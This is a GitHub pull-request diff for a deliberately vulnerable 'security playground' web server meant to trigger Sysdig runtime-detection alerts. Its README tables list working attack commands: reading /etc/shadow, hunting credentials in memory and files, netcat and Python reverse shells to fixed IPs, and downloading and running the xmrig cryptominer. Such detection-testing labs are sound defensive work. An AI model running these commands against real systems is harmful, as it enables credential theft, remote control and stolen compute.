Skip to content

[feature] Revamping security playground #5

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 21 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
38 changes: 38 additions & 0 deletions .github/workflows/docker-image.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
name: Docker Image CI

on:
push:
branches: [ "master" ]

env:
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}

jobs:
build:
runs-on: ubuntu-latest

steps:
- name: Checkout code
uses: actions/checkout@v3

- name: Log in to the Container registry
uses: docker/login-action@65b78e6e13532edd9afa3aa52ac7964289d1a9c1
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}

- name: Extract metadata (tags, labels) for Docker
id: meta
uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}

- name: Build and push Docker image
uses: docker/build-push-action@f2a1d5e99d037542a71f64918e516c093c6f3fc4
with:
context: ./src/.
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
7 changes: 0 additions & 7 deletions Makefile

This file was deleted.

13 changes: 0 additions & 13 deletions Pipfile

This file was deleted.

98 changes: 0 additions & 98 deletions Pipfile.lock

This file was deleted.

66 changes: 47 additions & 19 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,49 +1,77 @@
# Security Playground

![last commit](https://flat.badgen.net/github/last-commit/sysdiglabs/security-playground?icon=github) ![licence](https://flat.badgen.net/github/license/sysdiglabs/security-playground) ![docker pulls](https://flat.badgen.net/docker/pulls/sysdiglabs/security-playground?icon=docker)

The security playground is a HTTP web server to simulate security breaches in
run time.
The security playground is a HTTP web server that alllows you to simulate various security breaches in runtime.

## Installation

Use the docker image to deploy it in your Kubernetes cluster or locally in a
container.
Use the deployment.yaml to deploy this to your kubernetes cluster, it will deploy
- Deployment with 1 Replica of the pod
- LoadBalancer Service to expose the web server on port 80/HTTP

```bash
kubectl apply -f kubernetes-manifests/deployment.yaml
```

Or run it locally in using docker

```bash
$ docker run --rm -p 8080:8080 sysdiglabs/security-playground
docker run --rm -p 8080:8080 ghcr.io/andrewd-sysdig/security-playground:latest
```

## Usage

The HTTP API exposes tree endpoints to interact with the system.
The HTTP API exposes three endpoints to interact with the system.

### Reading a file

You can read a file using just the URL.
You can read a file using just the URL. This will return the content of the /etc/shadow file.

```bash
$ curl localhost:8080/etc/shadow
curl http://<webserver>/etc/shadow
```

This will return the content of the /etc/shadow file.

### Writing a file

You can write to a file using the URL and POSTing the content.
You can write to a file using the URL and POSTing the content. This will write to /bin/hello the hello-world string.

```bash
$ curl -X POST localhost:8080/bin/hello -d 'content=hello-world'
curl -X POST http://<webserver>/bin/hello -d 'content=hello-world'
```

This will write to /bin/hello the hello-world string

### Executing a command

You can execute a command using the /exec endpoint and POSTing the command.
You can execute a command using the /exec endpoint and POSTing the command. This will capture and return the STDOUT of the command executed.

```bash
curl -X POST http://<webserver>/exec -d 'command=ls -la'
```

## Library of curl commands to trigger various Sysdig Events

Set the WEBSERVERIP env variable to be the IP of your target (the pod/service)

```bash
$ curl -X POST /exec -d 'command=ls -la'
export WEBSERVERIP=192.168.1.15
```

This will capture and return the STDOUT of the command executed.
## Library of curl commands to trigger various Sysdig Events

> **Sysdig Managed Policy: Sysdig Runtime Threat Detection (Severity: High)**

| Sysdig Event | Curl Command |
|---|---|
| Reconnaissance attempt to find SUID binaries | `curl -X POST http://$WEBSERVERIP/exec -d 'command=find / -perm -u=s -type f 2>/dev/null'` |
| Dump memory for credentials | `curl -X POST http://$WEBSERVERIP/exec -d 'command=grep passwd /proc/1/mem'` |
| Find AWS Credentials | `curl -X POST http://$WEBSERVERIP/exec -d 'command=grep aws_access_key_id /tmp/'` |
| Netcat Remote Code Execution in Contianer | `curl -X POST http://$WEBSERVERIP/exec -d 'command=nc -c bash 10.0.0.1 4242'` |
| Suspicious Home Directory Creation | `curl -X POST http://$WEBSERVERIP/exec -d 'command=adduser -h /dev/null -s /bin/sh test3 -D'` |
| Base64-encoded Python Script Execution | `curl -X POST http://$WEBSERVERIP/exec -d 'command=echo cHl0aG9uMyAtYyAnaW1wb3J0IF9faGVsbG9fXycK \| base64 -d \| sh'` |
| Base64-encoded Shell Script Execution | `curl -X POST http://$WEBSERVERIP/exec -d 'command=echo IyEvYmluL3NoCmVjaG8gIkhlbGxvIFdvcmxkIgo= \|base64 -d \|sh'` |
| Base64'd ELF file on Command Line | `curl -X POST http://$WEBSERVERIP/exec -d 'command=echo f0VMRgIB1M== \|base64 -d > hello'` |

> **Sysdig Managed Policy: Sysdig Runtime Notable Events (Severity: Medium)**

| Sysdig Event | Curl Command |
|---|---|
| Read sensitive file untrusted | `curl http://$WEBSERVERIP/etc/shadow` |
| Redirect STDOUT/STDIN to Network Connection in Container | `curl -X POST ${WEBSERVERIP}/exec -d command="python -c 'import socket,os,pty;s=socket.socket();s.connect((\"192.168.1.3\",4242));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"` |
7 changes: 7 additions & 0 deletions kubernetes-manifests/crypto-miner-nonroot/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Steal Compute / Run Cryptominer Data flow

| Attack Step | Curl Command | Expected Sysdig Event |
|---|---|--|
| Download xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz -O /tmp/xmrig.tar.gz'` | xxx |
| Extract xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=tar -xzvf /tmp/xmrig.tar.gz -C /tmp/'` | xxx |
| Run xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=/tmp/xmrig-6.18.1/xmrig'` | xxx |
54 changes: 54 additions & 0 deletions kubernetes-manifests/crypto-miner-nonroot/deployment.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: security-playground
labels:
app: security-playground
spec:
replicas: 1
selector:
matchLabels:
app: security-playground
template:
metadata:
labels:
app: security-playground
spec:
securityContext:
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/arch
operator: In
values:
- amd64
containers:
- name: security-playground-user
image: ghcr.io/andrewd-sysdig/security-playground:latest
imagePullPolicy: Always
ports:
- containerPort: 8080
securityContext:
allowPrivilegeEscalation: false

---
apiVersion: v1
kind: Service
metadata:
labels:
app: security-playground
name: security-playground
spec:
ports:
- port: 80
protocol: TCP
targetPort: 8080
nodePort: 30000
selector:
app: security-playground
type: NodePort
7 changes: 7 additions & 0 deletions kubernetes-manifests/crypto-miner-readonly/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Steal Compute / Run Cryptominer Data flow

| Attack Step | Curl Command | Expected Sysdig Event |
|---|---|--|
| Download xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'` | xxx |
| Extract xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=tar -xzvf xmrig.tar.gz'` | xxx |
| Run xmrig | `curl -X POST http://192.168.1.15/exec -d 'command=/app/xmrig-6.18.1/xmrig'` | xxx |
64 changes: 64 additions & 0 deletions kubernetes-manifests/crypto-miner-readonly/deployment.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: security-playground
labels:
app: security-playground
spec:
replicas: 1
selector:
matchLabels:
app: security-playground
template:
metadata:
labels:
app: security-playground
spec:
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/arch
operator: In
values:
- amd64
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
containers:
- name: security-playground
image: ghcr.io/andrewd-sysdig/security-playground:latest
imagePullPolicy: Always
ports:
- containerPort: 8080
securityContext:
allowPrivilegeEscalation: false
privileged: false
readOnlyRootFilesystem: true
volumeMounts:
- mountPath: /tmp
name: tmp-volume
volumes:
- hostPath:
path: /tmp2
name: tmp-volume

---
apiVersion: v1
kind: Service
metadata:
labels:
app: security-playground
name: security-playground
spec:
ports:
- port: 80
protocol: TCP
targetPort: 8080
nodePort: 30000
selector:
app: security-playground
type: NodePort
Loading